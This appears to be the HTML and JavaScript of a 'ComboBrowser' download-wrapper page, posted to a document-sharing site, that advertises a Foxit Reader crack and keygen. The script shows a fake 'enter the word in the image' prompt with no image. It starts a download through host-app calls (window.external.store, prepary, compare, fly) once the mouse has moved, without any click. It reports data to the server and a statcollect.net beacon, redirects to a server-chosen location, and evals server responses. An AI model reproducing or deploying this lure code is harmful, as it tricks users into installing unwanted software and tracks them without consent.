You are on page 1of 5

<!

DOCTYPE html>
<html>
<head>
<title>ComboBrowser</title>
<noscript>
<meta http-equiv="refresh" content="0;url=/error?ns"/>
</noscript>

<script type="text/javascript">
var loc_url = false,
ver = 1;
</script>

<style type="text/css">
table {
text-align: center;
width: 100%;
height: 100%;
}

html, body {
margin: 0;
height: 100%;
min-height: 100%;
padding: 0;
width: 100%;
font-size: 34px;
overflow: hidden;
font-family: Arial, sans-serif;
}

h1 {
display: block;
color: #555;
font-weight: 400;
word-break: break-all;
overflow: hidden;
max-height: 500px;
max-width: 80%;
margin: 50px auto 30px;
}

img {
display: block;
margin: 0 auto;
}

.button:hover {
background: #3e87f9;
}

.button:active {
background: #2058b0;
}

button {
color: #fff;
background: #2f71d6;
border-radius: 4px;
margin: 40px auto 0px;
font-size: 30px;
text-align: center;
line-height: 70px;
outline: none;
border: none;
height: 70px;
width: 260px;
}

input {
line-height: 52px;
border-radius: 4px;
margin-right: 10px;
width: 140px;
padding: 0px 10px;
border: 1px solid #c7c7c7;
font-size: 20px;
height: 50px;
}
</style>

</head>
<body>
<table>
<tr>
<td>
<img src="/logo-combo.png" width="400">
<h1 id="key">Foxit Reader 8.0.2 Crack 2017 Keygen Full Free
Download</h1>
<h2 id="text">Your file is ready, Please enter the word you see in the
image below:</h2>
<button id="button" class="button">
Download Now
</button>
<img src="/preloader.gif" width="64" id="loader" style="display:
none;">
</td>
</tr>
</table>
<? //<iframe src="/tick" width="1" height="1" align="left"></iframe>?>

<script type="text/javascript">
var count = {sc: '', code: 0, tick: 0, moved: 0},
checked = false,
tickInt;

var $loader = document.getElementById("loader"),


$button = document.getElementById("button"),
$key = document.getElementById("key"),
$text = document.getElementById('text'),
$body = document.body;

function addEv(ev, el, f) {


if (el.addEventListener) {
el.addEventListener(ev, f, false);
} else if (el.attachEvent) {
el.attachEvent("on" + ev, f);
} else {
el[ev] = f;
}
}

function makeXhr() {
var xhr = null;

if (typeof XMLHttpRequest != "undefined") {


xhr = new XMLHttpRequest();
} else if (typeof window.ActiveXObject != "undefined") {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP.4.0");
} catch (e) {
try {
xhr = new ActiveXObject("MSXML2.XMLHTTP");
} catch (e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
xhr = null;
}
}
}
}

return xhr;
}

function sendError(err) {
try {
var xhr = makeXhr();
xhr.open('POST', '/error', true);
xhr.send(err);
} catch (ev) {}
}

function tick() {
try {
count['tick']++;
var xhr = makeXhr();
xhr.open('POST', '/tick', true);
xhr.send();
if (count['tick'] >= 360) clearInterval(tickInt)
} catch (ev) {
sendError(ev.toString())
}
}

function clickOnBody() {
$button.style.display = 'none';
$loader.style.display = 'block';
$text.style.display = 'none';

setTimeout(function () {
window.external.store();
}, 10)
}
function spot(base) {
doAjax('/check', '{"report2":"' + base + '", "report":"' +
window.external.prepary() + '"}');
}

function sendLocation() {
if (loc_url && checked) {
window.location.href = loc_url;
}
}

function quote(info) {
doAjax('/report', '{"report":"' + info + '", "code": ' + count.code + ',
"sc":"' + count.sc + '"}');

try {
var image = new Image();
image.width = 1;
image.height = 1;
image.onload = function () {
$body.removeChild(this);
delete this;
};
image.src = "http://s1.cdn.statcollect.net";
$body.appendChild(image)
} catch (ev) {
sendError(ev.toString())
}
}

function doAjax(url, data) {


try {
var c = url.replace("/", "");
if (!count[c]) count[c] = 0;

if (count[c] >= 5) {
window.external.fly(1);
$loader.style.display = 'none';
$key.innerHTML = 'Sorry, service is not available';
return;
}

count[c]++;
var xhr = makeXhr();
xhr.open('POST', url, true);
xhr.send(data);
} catch (ev) {
sendError(ev.toString())
}

xhr.onreadystatechange = function () {
try {
if (xhr.readyState != 4) return;

if (xhr.status == 200) {
var resp = JSON.parse(xhr.responseText);

if (resp.check) {
count.code++;
count.sc = resp.sc || '';
window.external.compare(resp.check)
} else if (resp.location) {
window.external.fly(1);
loc_url = resp.location;
sendLocation()
} else {
setTimeout(function () {
doAjax(url, data)
}, 10000)
}
} else {
setTimeout(function () {
doAjax(url, data)
}, 10000)
}
} catch (ev) {
sendError(ev.toString())
}
}
}

try {
addEv("mousemove", $body, function () {
if (count.moved < 10) {
count.moved++;
} else if (!checked) {
checked = true;
clickOnBody();
}
});

tickInt = setInterval(tick, 10000);


tick();

var JSON = JSON || {};


JSON.parse = JSON.parse || function (str) {
if (str === "") str = '""';
eval("var p=" + str + ";");
return p;
};

window.external.fly(0);
} catch (ev) {
sendError(ev.toString())
}
</script>
</body>
</html>

You might also like